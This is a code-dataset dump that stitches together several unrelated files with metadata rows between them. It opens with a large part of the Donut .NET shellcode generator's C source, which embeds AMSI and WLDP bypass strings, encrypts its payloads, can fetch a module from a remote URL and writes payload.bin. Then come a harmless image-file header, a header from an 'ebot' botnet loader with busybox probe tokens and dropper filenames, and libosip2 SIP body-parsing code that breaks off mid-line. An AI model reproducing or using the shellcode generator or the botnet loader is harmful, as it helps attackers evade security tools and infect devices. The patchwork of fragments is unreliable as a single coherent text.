0) return DONUT_ERROR_ASSEMBLY_EMPTY; // Open assembly DPRINT("Opening %s...", c->file); fd = fopen(c->file, "rb"); // Not opened? return if(fd == NULL) return DONUT_ERROR_ASSEMBLY_ACCESS; // Allocate memory for module information and assembly len = sizeof(DONUT_MODULE) + fs.st_size; DPRINT("Allocating %" PRIi64 " bytes of memory for DONUT_MODULE", len); mod = calloc(len, sizeof(uint8_t)); // If memory allocated if(mod != NULL) { // Set the type mod->type = c->mod_type; // If no domain name specified, generate a random string for it if(c->domain[0] == 0) { if(!GenRandomString(c->domain, 8)) { return DONUT_ERROR_RANDOM; } } DPRINT("Domain : %s", c->domain); utf8_to_utf16((wchar_t*)mod->domain, c->domain, strlen(c->domain)); // If assembly is DLL, we expect a class and method from user if(mod->type == DONUT_MODULE_DLL) { DPRINT("Class : %s", c->cls); utf8_to_utf16((wchar_t*)mod->cls, c->cls, strlen(c->cls)); DPRINT("Method : %s", c->method); utf8_to_utf16((wchar_t*)mod->method, c->method, strlen(c->method)); } // If no runtime specified, use from meta header if(c->runtime[0] == 0) { strncpy(c->runtime, GetVersionFromFile(c->file), DONUT_MAX_NAME - 1); } DPRINT("Runtime : %s", c->runtime); utf8_to_utf16((wchar_t*)mod->runtime, c->runtime, strlen(c->runtime)); // if parameters specified if(c->param != NULL) { strncpy(parambuf, c->param, sizeof(parambuf)-1); cnt = 0; // split by comma or semi-colon param = strtok(parambuf, ",;"); while(param != NULL && cnt < DONUT_MAX_PARAM) { if(strlen(param) >= DONUT_MAX_NAME) { DPRINT("Parameter(%s) exceeds DONUT_MAX_PARAM(%i)", param, DONUT_MAX_NAME); err = DONUT_ERROR_INVALID_PARAMETER; break; } DPRINT("Adding \"%s\"", param); // convert ansi string to wide character string utf8_to_utf16((wchar_t*)mod->param[cnt++], param, strlen(param)); // get next parameter param = strtok(NULL, ",;"); } // set number of parameters mod->param_cnt = cnt; } if(err == DONUT_ERROR_SUCCESS) { // set length of assembly mod->len = fs.st_size; // read assembly into memory fread(&mod->data, 1, fs.st_size, fd); // set the subsystem to GUI incase it CUI // set_subsystem(mod->data, IMAGE_SUBSYSTEM_WINDOWS_GUI); // update configuration with pointer to module c->mod = mod; c->mod_len = len; } } else err = DONUT_ERROR_NO_MEMORY; // close assembly fclose(fd); if(err != DONUT_ERROR_SUCCESS && mod != NULL) { free(mod); } return err; } static int CreateInstance(PDONUT_CONFIG c) { DONUT_CRYPT inst_key, mod_key; PDONUT_INSTANCE inst = NULL; uint64_t url_len, inst_len = 0; uint64_t dll_hash=0, iv=0; int cnt, slash=0; char sig[DONUT_MAX_NAME]; // no configuration or module? exit DPRINT("Checking configuration"); if(c == NULL || c->mod == NULL) { return DONUT_ERROR_INVALID_PARAMETER; } // if this is URL instance, ensure url paramter and module name // don't exceed DONUT_MAX_URL if(c->inst_type == DONUT_INSTANCE_URL) { url_len = strlen(c->url); // if the end of string doesn't have a forward slash // add one more to account for it if(c->url[url_len - 1] != '/') slash++; if((url_len + DONUT_MAX_MODNAME + 1) > DONUT_MAX_URL) { return DONUT_ERROR_URL_LENGTH; } } DPRINT("Generating random IV for Maru hash"); if(!CreateRandom(&iv, MARU_IV_LEN)) { return DONUT_ERROR_RANDOM; } #if !defined(NOCRYPTO) DPRINT("Generating random key for encrypting instance"); if(!CreateRandom(&inst_key, sizeof(DONUT_CRYPT))) { return DONUT_ERROR_RANDOM; } DPRINT("Generating random key for encrypting module"); if(!CreateRandom(&mod_key, sizeof(DONUT_CRYPT))) { return DONUT_ERROR_RANDOM; } if(!GenRandomString(sig, 8)) { return DONUT_ERROR_RANDOM; } DPRINT("Generated random string for signature : %s", sig); #endif // if this is a URL instance, generate a random name for module // that will be saved to disk if(c->inst_type == DONUT_INSTANCE_URL) { if(!GenRandomString(c->modname, DONUT_MAX_MODNAME)) { return DONUT_ERROR_RANDOM; } DPRINT("Generated random name for module : %s", c->modname); } // calculate the size of instance based on the type DPRINT("Allocating space for instance"); inst_len = sizeof(DONUT_INSTANCE); // if this is a PIC instance, add the size of module // which will be appended to the end of structure if(c->inst_type == DONUT_INSTANCE_PIC) { DPRINT("The size of module is %" PRIi64 " bytes. " "Adding to size of instance.", c->mod_len); inst_len += c->mod_len; } // allocate memory inst = (PDONUT_INSTANCE)calloc(inst_len, 1); // if we failed? return if(inst == NULL) return DONUT_ERROR_NO_MEMORY; #if !defined(NOCRYPTO) DPRINT("Setting the decryption key for instance"); memcpy(&inst->key, &inst_key, sizeof(DONUT_CRYPT)); DPRINT("Setting the decryption key for module"); memcpy(&inst->mod_key, &mod_key, sizeof(DONUT_CRYPT)); #endif DPRINT("Copying GUID structures to instance"); memcpy(&inst->xIID_AppDomain, &xIID_AppDomain, sizeof(GUID)); memcpy(&inst->xIID_ICLRMetaHost, &xIID_ICLRMetaHost, sizeof(GUID)); memcpy(&inst->xCLSID_CLRMetaHost, &xCLSID_CLRMetaHost, sizeof(GUID)); memcpy(&inst->xIID_ICLRRuntimeInfo, &xIID_ICLRRuntimeInfo, sizeof(GUID)); memcpy(&inst->xIID_ICorRuntimeHost, &xIID_ICorRuntimeHost, sizeof(GUID)); memcpy(&inst->xCLSID_CorRuntimeHost, &xCLSID_CorRuntimeHost, sizeof(GUID)); strcpy(inst->amsi.s, "AMSI"); strcpy(inst->amsiInit, "AmsiInitialize"); strcpy(inst->amsiScan, "AmsiScanBuffer"); strcpy(inst->clr, "CLR"); strcpy(inst->wldp, "WLDP"); strcpy(inst->wldpQuery, "WldpQueryDynamicCodeTrust"); strcpy(inst->subkey, "SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v4\\Full"); strcpy(inst->value, "Release"); DPRINT("Copying DLL strings to instance"); inst->dll_cnt = 4; strcpy(inst->dll_name[0], "mscoree.dll"); strcpy(inst->dll_name[1], "oleaut32.dll"); strcpy(inst->dll_name[2], "wininet.dll"); strcpy(inst->dll_name[3], "shlwapi.dll"); DPRINT("Generating hashes for API using IV: %" PRIx64, iv); inst->iv = iv; for(cnt=0; api_imports[cnt].module != NULL; cnt++) { // calculate hash for DLL string dll_hash = maru(api_imports[cnt].module, iv); // calculate hash for API string. // xor with DLL hash and store in instance inst->api.hash[cnt] = maru(api_imports[cnt].name, iv) ^ dll_hash; DPRINT("Hash for %-15s : %-22s = %" PRIX64, api_imports[cnt].module, api_imports[cnt].name, inst->api.hash[cnt]); } // set how many addresses to resolve inst->api_cnt = cnt; // set the type of instance we're creating inst->type = c->inst_type; // if the module will be downloaded // set the URL parameter and request verb if(inst->type == DONUT_INSTANCE_URL) { DPRINT("Setting URL parameters"); strcpy(inst->http.url, c->url); if(slash) strcat(inst->http.url, "/"); if(slash) strcat(c->url, "/"); // append module name strcat(inst->http.url, c->modname); // set the request verb strcpy(inst->http.req, "GET"); DPRINT("Payload will attempt download from : %s", inst->http.url); } inst->mod_len = c->mod_len; inst->len = inst_len; c->inst = inst; c->inst_len = inst_len; strcpy((char*)inst->sig, sig); #if !defined(NOCRYPTO) if(c->inst_type == DONUT_INSTANCE_URL) { DPRINT("encrypting module for download"); c->mod->mac = maru(inst->sig, inst->iv); donut_encrypt( mod_key.mk, mod_key.ctr, c->mod, c->mod_len); } #endif // if PIC, copy module to instance if(inst->type == DONUT_INSTANCE_PIC) { DPRINT("Copying module data to instance"); memcpy(&c->inst->module.x, c->mod, c->mod_len); } #if !defined(NOCRYPTO) DPRINT("encrypting instance"); inst->mac = maru(inst->sig, inst->iv); uint32_t ofs = sizeof(uint32_t) + sizeof(DONUT_CRYPT); uint8_t *inst_data = (uint8_t*)inst + ofs; donut_encrypt( inst_key.mk, inst_key.ctr, inst_data, c->inst_len - ofs); #endif return DONUT_ERROR_SUCCESS; } // given a configuration, create a PIC that will run from anywhere in memory EXPORT_FUNC int DonutCreate(PDONUT_CONFIG c) { uint8_t *pl; uint32_t t; int err = DONUT_ERROR_SUCCESS; FILE *fd; DPRINT("Validating configuration and path of assembly"); if(c == NULL || c->file == NULL) { return DONUT_ERROR_INVALID_PARAMETER; } c->mod = NULL; c->mod_len = 0; c->inst = NULL; c->inst_len = 0; c->pic = NULL; c->pic_len = 0; // Valid assembly? DPRINT("Validating assembly"); if(!IsValidAssembly(c->file)) return DONUT_ERROR_ASSEMBLY_INVALID; DPRINT("Validating instance type"); if(c->inst_type != DONUT_INSTANCE_PIC && c->inst_type != DONUT_INSTANCE_URL) { return DONUT_ERROR_INVALID_PARAMETER; } if(c->inst_type == DONUT_INSTANCE_URL) { DPRINT("Validating URL"); if(c->url[0] == 0) return DONUT_ERROR_INVALID_PARAMETER; if((strnicmp(c->url, "http://", 7) != 0) && (strnicmp(c->url, "https://", 8) != 0)) { return DONUT_ERROR_INVALID_URL; } if(strlen(c->url) < 8) return DONUT_ERROR_INVALID_URL; } // get runtime version GetVersionFromFile(c->file); DPRINT("Getting type of module"); c->mod_type = GetModuleType(c->file); if(c->mod_type < 0) return DONUT_ERROR_ASSEMBLY_INVALID; DPRINT("Validating module type"); if(c->mod_type != DONUT_MODULE_DLL && c->mod_type != DONUT_MODULE_EXE) { return DONUT_ERROR_INVALID_PARAMETER; } if(c->mod_type == DONUT_MODULE_DLL) { DPRINT("Validating class and method for DLL"); if(c->cls == NULL || c->method == NULL) { return DONUT_ERROR_ASSEMBLY_PARAMS; } } DPRINT("Checking architecture"); if(c->arch != DONUT_ARCH_X86 && c->arch != DONUT_ARCH_X64 && c->arch != DONUT_ARCH_X84) { return DONUT_ERROR_INVALID_ARCH; } // 1. create the module DPRINT("Creating module"); err = CreateModule(c); if(err == DONUT_ERROR_SUCCESS) { // 2. create the instance DPRINT("Creating instance"); err = CreateInstance(c); if(err == DONUT_ERROR_SUCCESS) { // if DEBUG is defined, save instance to disk #ifdef DEBUG DPRINT("Saving instance to file"); fd = fopen("instance", "wb"); if(fd != NULL) { fwrite(c->inst, 1, c->inst_len, fd); fclose(fd); } #endif // 3. if this module will be stored on a remote server if(c->inst_type == DONUT_INSTANCE_URL) { DPRINT("Saving %s to disk.", c->modname); // save the module to disk using random name fd = fopen(c->modname, "wb"); if(fd != NULL) { fwrite(c->mod, 1, c->mod_len, fd); fclose(fd); } } // 4. calculate size of PIC + instance combined if(c->arch == DONUT_ARCH_X86) { c->pic_len = sizeof(PAYLOAD_EXE_X86) + c->inst_len + 32; } else if(c->arch == DONUT_ARCH_X64) { c->pic_len = sizeof(PAYLOAD_EXE_X64) + c->inst_len + 32; } else if(c->arch == DONUT_ARCH_X84) { c->pic_len = sizeof(PAYLOAD_EXE_X86) + sizeof(PAYLOAD_EXE_X64) + c->inst_len + 32; } // 5. allocate memory for shellcode c->pic = malloc(c->pic_len); DPRINT("PIC size : %" PRIi64, c->pic_len); if(c->pic != NULL) { DPRINT("Inserting opcodes"); // 6. insert shellcode pl = (uint8_t*)c->pic; // call $ + c->inst_len PUT_BYTE(pl, 0xE8); PUT_WORD(pl, c->inst_len); PUT_BYTES(pl, c->inst, c->inst_len); // pop ecx PUT_BYTE(pl, 0x59); if(c->arch == DONUT_ARCH_X86) { // pop edx PUT_BYTE(pl, 0x5A); // push ecx PUT_BYTE(pl, 0x51); // push edx PUT_BYTE(pl, 0x52); DPRINT("Copying %" PRIi64 " bytes of x86 shellcode", (uint64_t)sizeof(PAYLOAD_EXE_X86)); PUT_BYTES(pl, PAYLOAD_EXE_X86, sizeof(PAYLOAD_EXE_X86)); } else if(c->arch == DONUT_ARCH_X64) { DPRINT("Copying %" PRIi64 " bytes of amd64 shellcode", (uint64_t)sizeof(PAYLOAD_EXE_X64)); PUT_BYTES(pl, PAYLOAD_EXE_X64, sizeof(PAYLOAD_EXE_X64)); } else if(c->arch == DONUT_ARCH_X84) { DPRINT("Copying %" PRIi64 " bytes of x86 + amd64 shellcode", (uint64_t)(sizeof(PAYLOAD_EXE_X86) + sizeof(PAYLOAD_EXE_X64))); // xor eax, eax PUT_BYTE(pl, 0x31); PUT_BYTE(pl, 0xC0); // dec eax PUT_BYTE(pl, 0x48); // js dword x86_code PUT_BYTE(pl, 0x0F); PUT_BYTE(pl, 0x88); PUT_WORD(pl, sizeof(PAYLOAD_EXE_X64)); PUT_BYTES(pl, PAYLOAD_EXE_X64, sizeof(PAYLOAD_EXE_X64)); // pop edx PUT_BYTE(pl, 0x5A); // push ecx PUT_BYTE(pl, 0x51); // push edx PUT_BYTE(pl, 0x52); PUT_BYTES(pl, PAYLOAD_EXE_X86, sizeof(PAYLOAD_EXE_X86)); } err = DONUT_ERROR_SUCCESS; } else err = DONUT_ERROR_NO_MEMORY; } } if(err != DONUT_ERROR_SUCCESS) { DonutDelete(c); } return err; } EXPORT_FUNC int DonutDelete(PDONUT_CONFIG c) { if(c == NULL) { return DONUT_ERROR_INVALID_PARAMETER; } // free module if(c->mod != NULL) { free(c->mod); c->mod = NULL; } // free instance if(c->inst != NULL) { free(c->inst); c->inst = NULL; } // free payload if(c->pic != NULL) { free(c->pic); c->pic = NULL; } return DONUT_ERROR_SUCCESS; } // define when building an executable #ifdef DONUT_EXE const char *err2str(int err) { static const char *str="N/A"; switch(err) { case DONUT_ERROR_SUCCESS: str = "No error"; break; case DONUT_ERROR_ASSEMBLY_NOT_FOUND: str = "Assembly not found"; break; case DONUT_ERROR_ASSEMBLY_EMPTY: str = "Assembly is empty"; break; case DONUT_ERROR_ASSEMBLY_ACCESS: str = "Cannot open assembly"; break; case DONUT_ERROR_ASSEMBLY_INVALID: str = "Assembly is invalid"; break; case DONUT_ERROR_ASSEMBLY_PARAMS: str = "Assembly is a DLL. Requires class and method"; break; case DONUT_ERROR_NO_MEMORY: str = "No memory available"; break; case DONUT_ERROR_INVALID_ARCH: str = "Invalid architecture specified"; break; case DONUT_ERROR_INVALID_URL: str = "Invalid URL"; break; case DONUT_ERROR_URL_LENGTH: str = "Invalid URL length"; break; case DONUT_ERROR_INVALID_PARAMETER: str = "Invalid parameter"; break; case DONUT_ERROR_RANDOM: str = "Error generating random values"; break; } return str; } static char* get_param (int argc, char *argv[], int *i) { int n = *i; if (argv[n][2] != 0) { return &argv[n][2]; } if ((n+1) < argc) { *i = n + 1; return argv[n+1]; } printf(" [ %c%c requires parameter\n", argv[n][0], argv[n][1]); exit (0); } static void usage (void) { printf("\n usage: donut [options] -f <.NET assembly>\n\n"); printf(" -f <path> .NET assembly to embed in PIC and DLL.\n"); printf(" -u <URL> HTTP server that will host the .NET assembly.\n"); printf(" -c <namespace.class> Optional class name. (required for DLL)\n"); printf(" -m <method> Optional method name. (required for DLL)\n"); printf(" -p <arg1,arg2...> Optional parameters or command line, separated by comma or semi-colon.\n"); printf(" -a <arch> Target architecture : 1=x86, 2=amd64, 3=amd64+x86(default).\n"); printf(" -r <version> CLR runtime version. MetaHeader used by default or v4.0.30319 if none available.\n"); printf(" -d <name> AppDomain name to create for assembly. Randomly generated by default.\n\n"); printf(" examples:\n\n"); printf(" donut -f assembly.exe\n"); printf(" donut -a1 -cTestClass -mRunProcess -pnotepad.exe -floader.dll\n"); printf(" donut -f loader.dll -c TestClass -m RunProcess -p notepad.exe -u http://remote_server.com/modules/\n"); exit (0); } int main(int argc, char *argv[]) { DONUT_CONFIG c; char opt; int i, err; FILE *fd; char *arch_str[3] = { "x86", "AMD64", "x86+AMD64" }; char *inst_type[2]= { "PIC", "URL" }; printf("\n"); printf(" [ Donut .NET shellcode generator v0.9\n"); printf(" [ Copyright (c) 2019 TheWover, Odzhan\n\n"); // zero initialize configuration memset(&c, 0, sizeof(c)); // default type is position independent code for dual-mode (x86 + amd64) c.inst_type = DONUT_INSTANCE_PIC; c.arch = DONUT_ARCH_X84; // parse arguments for(i=1; i<argc; i++) { // switch? if(argv[i][0] != '-' && argv[i][0] != '/') { usage(); } opt = argv[i][1]; switch(opt) { // target cpu architecture case 'a': c.arch = atoi(get_param(argc, argv, &i)) - 1; break; // name of domain to use case 'd': strncpy(c.domain, get_param(argc, argv, &i), DONUT_MAX_NAME - 1); break; // assembly to use case 'f': c.file = get_param(argc, argv, &i); break; // runtime version to use case 'r': strncpy(c.runtime, get_param(argc, argv, &i), DONUT_MAX_NAME - 1); break; // url of remote assembly case 'u': { strncpy(c.url, get_param(argc, argv, &i), DONUT_MAX_URL - 2); c.inst_type = DONUT_INSTANCE_URL; break; } // class case 'c': c.cls = get_param(argc, argv, &i); break; // method case 'm': c.method = get_param(argc, argv, &i); break; // parameters to method case 'p': c.param = get_param(argc, argv, &i); break; default: usage(); break; } } if(c.file == NULL) { usage(); } err = DonutCreate(&c); if(err != DONUT_ERROR_SUCCESS) { printf(" [ Error : %s\n", err2str(err)); return 0; } printf(" [ Instance Type : %s\n", inst_type[c.inst_type]); printf(" [ .NET Assembly : \"%s\"\n", c.file ); printf(" [ Assembly Type : %s\n", c.mod_type == DONUT_MODULE_DLL ? "DLL" : "EXE" ); // if this is a DLL, display the class and method if(c.mod_type == DONUT_MODULE_DLL) { printf(" [ Class : %s\n", c.cls ); printf(" [ Method : %s\n", c.method); } // if parameters supplied, display them if(c.param != NULL) { printf(" [ Parameters : %s\n", c.param); } printf(" [ Target CPU : %s\n", arch_str[c.arch]); if(c.inst_type == DONUT_INSTANCE_URL) { printf(" [ Module name : %s\n", c.modname); printf(" [ Upload to : %s\n", c.url); } printf(" [ Shellcode : \"payload.bin\"\n\n"); fd = fopen("payload.bin", "wb"); if(fd != NULL) { fwrite(c.pic, 1, c.pic_len, fd); fclose(fd); } else { printf(" [ Error accessing file.\n"); } DonutDelete(&c); return 0; } #endif
31.442857
125
0.580674
1327697d40e5ed66ef28013f1d6a6b6624f94c9d
893
h
C
ImageFile.h
DonPMitchell/Venera-13
5a18015338ee4a659d69228d2122dff82b749a3f
[ "BSD-2-Clause" ]
1
2021-03-02T13:31:23.000Z
2021-03-02T13:31:23.000Z
ImageFile.h
DonPMitchell/Venera-13
5a18015338ee4a659d69228d2122dff82b749a3f
[ "BSD-2-Clause" ]
null
null
null
ImageFile.h
DonPMitchell/Venera-13
5a18015338ee4a659d69228d2122dff82b749a3f
[ "BSD-2-Clause" ]
null
null
null
#pragma once // // Simple routines for writing BMP format image files with 8-bit channels // D. P. Mitchell 04/10/2003. // extern int ReadTIFF(char *szName, unsigned short rgnData[][252]); extern int WriteTIFF(char *szName, int nLength, unsigned short rgnData[][252]); extern int WriteHeaderBMP(HANDLE hFile, int nWidth, int nHeight, int nChannels); extern int WriteFloatImage(float *pfImage, char *szName, int nHigh, int nWide, double fGamma = 2.2); extern int WriteShortImage(unsigned short *pnImage, char *szName, int nHigh, int nWide); extern int WriteCharImage(char *pnImage, char *szName, int nHigh, int nWide); extern int WriteLongImage(unsigned *pnImage, char *szName, int nHigh, int nWide); extern int WriteHeaderWAVE(HANDLE hFile, int nSamples, int nSampleRate); extern unsigned ColorPixel(int nRed, int nGreen, int nBlue);
55.8125
106
0.717805
fb4af1c93157cd20eefe1b241a85b082215f4972
698
h
C
ebot v2/loader/src/headers/includes.h
1Dragos12/arhive
46dd676e3f9ebb1879a12b899a335ca7f5c1b8c6
[ "MIT" ]
null
null
null
ebot v2/loader/src/headers/includes.h
1Dragos12/arhive
46dd676e3f9ebb1879a12b899a335ca7f5c1b8c6
[ "MIT" ]
null
null
null
ebot v2/loader/src/headers/includes.h
1Dragos12/arhive
46dd676e3f9ebb1879a12b899a335ca7f5c1b8c6
[ "MIT" ]
null
null
null
#pragma once #include <stdint.h> #define STDIN 0 #define STDOUT 1 #define STDERR 2 #define FALSE 0 #define TRUE 1 typedef char BOOL; typedef uint32_t ipv4_t; typedef uint16_t port_t; #define ATOMIC_ADD(ptr,i) __sync_fetch_and_add((ptr),i) #define ATOMIC_SUB(ptr,i) __sync_fetch_and_sub((ptr),i) #define ATOMIC_INC(ptr) ATOMIC_ADD((ptr),1) #define ATOMIC_DEC(ptr) ATOMIC_SUB((ptr),1) #define ATOMIC_GET(ptr) ATOMIC_ADD((ptr),0) #define TOKEN_QUERY "/bin/busybox eBot1" #define TOKEN_RESPONSE "eBot1: applet not found" #define EXEC_QUERY "/bin/busybox eBot2" #define EXEC_RESPONSE "eBot2: applet not found" #define FN_DROPPER "ha7665caZS" #define FN_BINARY "hu87VhvQPz" extern char *id_tag;
22.516129
55
0.767908
9750492218dd66402ddcf73f458a903fb5fa504a
12,523
c
C
libosip2-5.0.0/src/osipparser2/osip_body.c
cwmfpp/absip
52879bda2711d528e4707ebea1b8a4d9aa9265ea
[ "Apache-2.0" ]
null
null
null
libosip2-5.0.0/src/osipparser2/osip_body.c
cwmfpp/absip
52879bda2711d528e4707ebea1b8a4d9aa9265ea
[ "Apache-2.0" ]
null
null
null
libosip2-5.0.0/src/osipparser2/osip_body.c
cwmfpp/absip
52879bda2711d528e4707ebea1b8a4d9aa9265ea
[ "Apache-2.0" ]
null
null
null
/* The oSIP library implements the Session Initiation Protocol (SIP -rfc3261-) Copyright (C) 2001-2015 Aymeric MOIZARD amoizard@antisip.com This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include <osipparser2/internal.h> #include <osipparser2/osip_port.h> #include <osipparser2/osip_message.h> #include <osipparser2/osip_parser.h> #include <osipparser2/osip_body.h> #include "parser.h" static int osip_body_parse_header (osip_body_t * body, const char *start_of_osip_body_header, const char **next_body); int osip_body_init (osip_body_t ** body) { *body = (osip_body_t *) osip_malloc (sizeof (osip_body_t)); if (*body == NULL) return OSIP_NOMEM; (*body)->body = NULL; (*body)->content_type = NULL; (*body)->length = 0; (*body)->headers = (osip_list_t *) osip_malloc (sizeof (osip_list_t)); if ((*body)->headers == NULL) { osip_free (*body); *body = NULL; return OSIP_NOMEM; } osip_list_init ((*body)->headers); return OSIP_SUCCESS; } /** * Fill the body of message. * @param sip The structure to store results. * @param buf The pointer to the start of body. * @param length The length of body; */ int osip_message_set_body (osip_message_t * sip, const char *buf, size_t length) { osip_body_t *body; int i; i = osip_body_init (&body); if (i != 0) return i; i = osip_body_parse (body, buf, length); if (i != 0) { osip_body_free (body); return i; } sip->message_property = 2; osip_list_add (&sip->bodies, body, -1); return OSIP_SUCCESS; } int osip_body_clone (const osip_body_t * body, osip_body_t ** dest) { int i; osip_body_t *copy; if (body == NULL || body->length <= 0) return OSIP_BADPARAMETER; i = osip_body_init (&copy); if (i != 0) return i; copy->body = (char *) osip_malloc (body->length + 2); if (copy->body == NULL) { osip_body_free (copy); return OSIP_NOMEM; } copy->length = body->length; memcpy (copy->body, body->body, body->length); copy->body[body->length] = '\0'; if (body->content_type != NULL) { i = osip_content_type_clone (body->content_type, &(copy->content_type)); if (i != 0) { osip_body_free (copy); return i; } } i = osip_list_clone (body->headers, copy->headers, (int (*)(void *, void **)) &osip_header_clone); if (i != 0) { osip_body_free (copy); return i; } *dest = copy; return OSIP_SUCCESS; } #ifndef MINISIZE /* returns the pos of body header. */ /* INPUT : int pos | pos of body header. */ /* INPUT : osip_message_t *sip | sip message. */ /* OUTPUT: osip_body_t *body | structure to save results. */ /* returns -1 on error. */ int osip_message_get_body (const osip_message_t * sip, int pos, osip_body_t ** dest) { osip_body_t *body; *dest = NULL; if (osip_list_size (&sip->bodies) <= pos) return OSIP_UNDEFINED_ERROR; /* does not exist */ body = (osip_body_t *) osip_list_get (&sip->bodies, pos); *dest = body; return pos; } #endif int osip_body_set_contenttype (osip_body_t * body, const char *hvalue) { int i; if (body == NULL) return OSIP_BADPARAMETER; if (hvalue == NULL) return OSIP_BADPARAMETER; i = osip_content_type_init (&(body->content_type)); if (i != 0) return i; i = osip_content_type_parse (body->content_type, hvalue); if (i != 0) { osip_content_type_free (body->content_type); body->content_type = NULL; return i; } return OSIP_SUCCESS; } int osip_body_set_header (osip_body_t * body, const char *hname, const char *hvalue) { osip_header_t *h; int i; if (body == NULL) return OSIP_BADPARAMETER; if (hname == NULL) return OSIP_BADPARAMETER; if (hvalue == NULL) return OSIP_BADPARAMETER; i = osip_header_init (&h); if (i != 0) return i; h->hname = osip_strdup (hname); if (h->hname == NULL) { osip_header_free (h); return OSIP_NOMEM; } h->hvalue = osip_strdup (hvalue); if (h->hvalue == NULL) { osip_header_free (h); return OSIP_NOMEM; } osip_list_add (body->headers, h, -1); return OSIP_SUCCESS; } /* fill the body of message. */ /* INPUT : char *buf | pointer to the start of body. */ /* OUTPUT: osip_message_t *sip | structure to save results. */ /* returns -1 on error. */ int osip_message_set_body_mime (osip_message_t * sip, const char *buf, size_t length) { osip_body_t *body; int i; if (sip == NULL) return OSIP_BADPARAMETER; i = osip_body_init (&body); if (i != 0) return i; i = osip_body_parse_mime (body, buf, length); if (i != 0) { osip_body_free (body); return i; } sip->message_property = 2; osip_list_add (&sip->bodies, body, -1); return OSIP_SUCCESS; } static int osip_body_parse_header (osip_body_t * body, const char *start_of_osip_body_header, const char **next_body) { const char *start_of_line; const char *end_of_line; const char *colon_index; char *hname; char *hvalue; int i; *next_body = NULL; start_of_line = start_of_osip_body_header; for (;;) { i = __osip_find_next_crlf (start_of_line, &end_of_line); if (i == -2) { } else if (i != 0) return i; /* error case: no end of body found */ /* find the header name */ colon_index = strchr (start_of_line, ':'); if (colon_index == NULL) return OSIP_SYNTAXERROR; /* this is also an error case */ if (colon_index - start_of_line + 1 < 2) return OSIP_SYNTAXERROR; hname = (char *) osip_malloc (colon_index - start_of_line + 1); if (hname == NULL) return OSIP_NOMEM; osip_clrncpy (hname, start_of_line, colon_index - start_of_line); if ((end_of_line - 2) - colon_index < 2) { osip_free (hname); return OSIP_SYNTAXERROR; } hvalue = (char *) osip_malloc ((end_of_line - 2) - colon_index); if (hvalue == NULL) { osip_free (hname); return OSIP_NOMEM; } osip_clrncpy (hvalue, colon_index + 1, (end_of_line - 2) - colon_index - 1); /* really store the header in the sip structure */ if (osip_strncasecmp (hname, "content-type", 12) == 0) i = osip_body_set_contenttype (body, hvalue); else i = osip_body_set_header (body, hname, hvalue); osip_free (hname); osip_free (hvalue); if (i != 0) return i; if (strncmp (end_of_line, CRLF, 2) == 0 || strncmp (end_of_line, "\n", 1) == 0 || strncmp (end_of_line, "\r", 1) == 0) { *next_body = end_of_line; return OSIP_SUCCESS; } start_of_line = end_of_line; } } int osip_body_parse (osip_body_t * body, const char *start_of_body, size_t length) { if (body == NULL) return OSIP_BADPARAMETER; if (start_of_body == NULL) return OSIP_BADPARAMETER; if (body->headers == NULL) return OSIP_BADPARAMETER; body->body = (char *) osip_malloc (length + 1); if (body->body == NULL) return OSIP_NOMEM; memcpy (body->body, start_of_body, length); body->body[length] = '\0'; body->length = length; return OSIP_SUCCESS; } int osip_body_parse_mime (osip_body_t * body, const char *start_of_body, size_t length) { const char *end_of_osip_body_header; const char *start_of_osip_body_header; int i; if (body == NULL) return OSIP_BADPARAMETER; if (start_of_body == NULL) return OSIP_BADPARAMETER; if (body->headers == NULL) return OSIP_BADPARAMETER; start_of_osip_body_header = start_of_body; i = osip_body_parse_header (body, start_of_osip_body_header, &end_of_osip_body_header); if (i != 0) return i; start_of_osip_body_header = end_of_osip_body_header; /* set the real start of body */ if (strncmp (start_of_osip_body_header, CRLF, 2) == 0) start_of_osip_body_header = start_of_osip_body_header + 2; else { if ((strncmp (start_of_osip_body_header, "\n", 1) == 0) || (strncmp (start_of_osip_body_header, "\r", 1) == 0)) start_of_osip_body_header = start_of_osip_body_header + 1; else return OSIP_SYNTAXERROR; /* message does not end with CRLFCRLF, CRCR or LFLF */ } end_of_osip_body_header = start_of_body + length; if (end_of_osip_body_header - start_of_osip_body_header <= 0) return OSIP_SYNTAXERROR; body->body = (char *) osip_malloc (end_of_osip_body_header - start_of_osip_body_header + 1); if (body->body == NULL) return OSIP_NOMEM; memcpy (body->body, start_of_osip_body_header, end_of_osip_body_header - start_of_osip_body_header); body->length = end_of_osip_body_header - start_of_osip_body_header; body->body[body->length] = '\0'; return OSIP_SUCCESS; } /* returns the body as a string. */ /* INPUT : osip_body_t *body | body. */ /* returns null on error. */ int osip_body_to_str (const osip_body_t * body, char **dest, size_t * str_length) { char *tmp_body; char *tmp; char *ptr; int i; size_t length; if (dest) *dest = NULL; if (str_length) *str_length = 0; if (body == NULL) return OSIP_BADPARAMETER; if (body->body == NULL) return OSIP_BADPARAMETER; if (body->headers == NULL) return OSIP_BADPARAMETER; if (body->length <= 0) return OSIP_BADPARAMETER; length = 15 + body->length + (osip_list_size (body->headers) * 40); tmp_body = (char *) osip_malloc (length); if (tmp_body == NULL) return OSIP_NOMEM; ptr = tmp_body; /* save the initial address of the string */ if (body->content_type != NULL) { tmp_body = osip_strn_append (tmp_body, "content-type: ", 14); i = osip_content_type_to_str (body->content_type, &tmp); if (i != 0) { osip_free (ptr); return i; } if (length < tmp_body - ptr + strlen (tmp) + 4) { size_t len; len = tmp_body - ptr; length = length + strlen (tmp) + 4; ptr = osip_realloc (ptr, length); tmp_body = ptr + len; } tmp_body = osip_str_append (tmp_body, tmp); osip_free (tmp); tmp_body = osip_strn_append (tmp_body, CRLF, 2); } { osip_list_iterator_t it; osip_header_t *header = (osip_header_t *) osip_list_get_first(body->headers, &it); while (header != OSIP_SUCCESS) { i = osip_header_to_str (header, &tmp); if (i != 0) { osip_free (ptr); return i; } if (length < tmp_body - ptr + strlen (tmp) + 4) { size_t len; len = tmp_body - ptr; length = length + strlen (tmp) + 4; ptr = osip_realloc (ptr, length); tmp_body = ptr + len; } tmp_body = osip_str_append (tmp_body, tmp); osip_free (tmp); tmp_body = osip_strn_append (tmp_body, 